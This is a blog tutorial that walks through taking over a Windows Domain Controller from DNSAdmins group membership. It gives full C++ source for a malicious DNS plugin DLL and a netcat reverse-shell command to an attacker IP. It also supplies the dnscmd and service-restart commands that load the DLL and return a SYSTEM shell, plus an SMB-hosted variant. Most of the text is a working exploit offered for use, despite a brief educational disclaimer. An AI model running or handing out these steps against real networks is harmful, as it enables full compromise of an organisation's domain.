DNSAdmin to Domain Controller Compromise

by Sabe Barker


Posted on 9 January 2020



In this post I will explain how a user within the DNSAdmins group can accomplish Domain Controller takeover. We will cover how to create our custom DLL payload for the exploit and how to successfully execute it.

This issue was first published by Shay Ber back in 2017. I recently had to use this “feature” for privilege escalation and during that process I found that the part where we need to execute the DLL can be troublesome to say the least. This seems to be due to the fact that the DNS service crashes and needs to be restarted. However, this can be more than temperamental.

I will point out that this post in no way is meant to add anything new to the process of the compromise but more of a notebook of how to create a working DLL and how to get the bloody thing to actually execute successfully. I found that when researching this issue many people I spoke to had attempted to create a custom working DLL but ended up resorting to creation with msfvenom. Me being me I wasn’t happy to stop there as the msfvenom created DLL cannot be used locally on the machine as Windows Defender will nuke it. So if for whatever reason you cannot access the DLL remotely you wouldn’t be able to obtain that beautiful system shell we desire so much.

Now before we start I will just do the usual spiel: This post is for educational purposes and I take no responsibility for any misuse of the information provided herein. Under no circumstances should you perform these actions on a system without prior consent from the owner.

Enough with the banter let’s get our hands dirty!

First off we will download the Visual Studio 2019 Preview. I used the Professional version which you can get a “free” trial. Once downloaded go through the installation process and then open our program.

On the Get started window select Create a new project:

Visual Studio Get Started Screenshot

We are presented with the Create a new project window where we will type DLL in to the search bar and select Dynamic-Link Library with exports (DLL) then click Next:

Visual Studio Create Project Screenshot

Next we enter our Project Name and click Create:

Visual Studio Project Configure Screenshot

We are presented with a template that includes two files one named dllmain.cpp and the other DNSAdmin.cpp:

Visual Studio Template Screenshot

In dllmain.cpp we will edit to reflect the following code:

/// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

In DNSAdmin.cpp we will also edit to reflect the following code:

// DNSADMIN.cpp : Defines the exported functions for the DLL.

#include "pch.h"
#include <stdlib.h>
#include "framework.h"
#include "DNSAdmin.h"


#define DNS_PLUGIN_API  __declspec ( dllexport )

#pragma comment(linker,"/EXPORT:DnsPluginInitialize=?DnsPluginInitialize@@YAHPEAX0@Z")
DNS_PLUGIN_API int DnsPluginInitialize(PVOID a1, PVOID a2) {
    system("C:\\Users\\<username>\\shell.cmd");
    return 0;
}

#pragma comment(linker,"/EXPORT:DnsPluginCleanup=?DnsPluginCleanup@@YAHXZ")
DNS_PLUGIN_API int DnsPluginCleanup() { return 0; }

#pragma comment(linker,"/EXPORT:DnsPluginQuery=?DnsPluginQuery@@YAHPEAX000@Z")
DNS_PLUGIN_API int DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }

Ensure you change <username> to the one that is on the victim machine then save your changes. You will notice a reference to a file called shell.cmd. This is where we will place our command to execute. In not hardcoding it to the DLL we can freely change it if need be.

An explanation of what is going on here can be found at Shay’s post that was mentioned earlier.

Now it’s time to build our DLL.

From the top menu we will change debug to release and x32 to x64 or whichever the arch is for the victim system:

Visual Studio Set Build Screenshot

We will then navigate to Build --> Build Solution in the top menu or type Ctrl+Shift+B to build our DLL:

Visual Studio Build Screenshot

If we take a look in the output section at the bottom of our window we should see that our build succeeded:

Visual Studio Build Screenshot

In this output we can also see that our build has been saved at the location C:\Users\<username>\source\repos\DNSAdmin\x64\Release\DNSADMIN.dll.

Now lets create our cmd file. Open up your favourite text editor and add the following line saving the file as shell.cmd:

C:\Users\<username>\nc.exe <attacker-ip> 1234 -e powershell.exe

Replacing <attacker-ip> with the attacker machines IP address.

You will also need to download netcat for windows which can be found here.

We should now have three files to work with: DNSADMIN.dll, shell.cmd and nc.exe.

Now upload/download these files to the victim machine in to the directory: C:\Users\<username>.

Let’s setup our listener for the incoming connection on the attacker machine:

nc -lvp 1234

We will then load the DLL using the dnscmd command on the victim machine like so:

PS> dnscmd /config /serverlevelplugindll \\<servername>\C$\Users\<username>\DNSADMIN.dll

On success we should see the output:

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Now we have to restart the DNS service so our DLL is executed.

To do so we first stop the service:

PS> sc.exe stop dns
SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530

and then start it again:

PS> sc.exe start dns

SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 2756
        FLAGS              : 

Back at your netcat session we should see a connection and our prompt:

Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system

We now have control of the Domain Controller.

In the scenario where you need to host the DLL remotely you can fireup impacket’s smbserver.py on the attacker machine:

smbserver.py TMP /path/to/dll/

And then modify the dnscmd command:

dnscmd /config /serverlevelplugindll \\<attacker-ip>\TMP\DNSADMIN.dll

If you find that you do not receive a connection you can run the following command to test the DLL:

PS> rundll32.exe .\DNSAdmin.dll,DnsPluginInitialize

If you get a connection to your netcat session then there is most likely some interference on the victim machine (AV, Firewall etc.)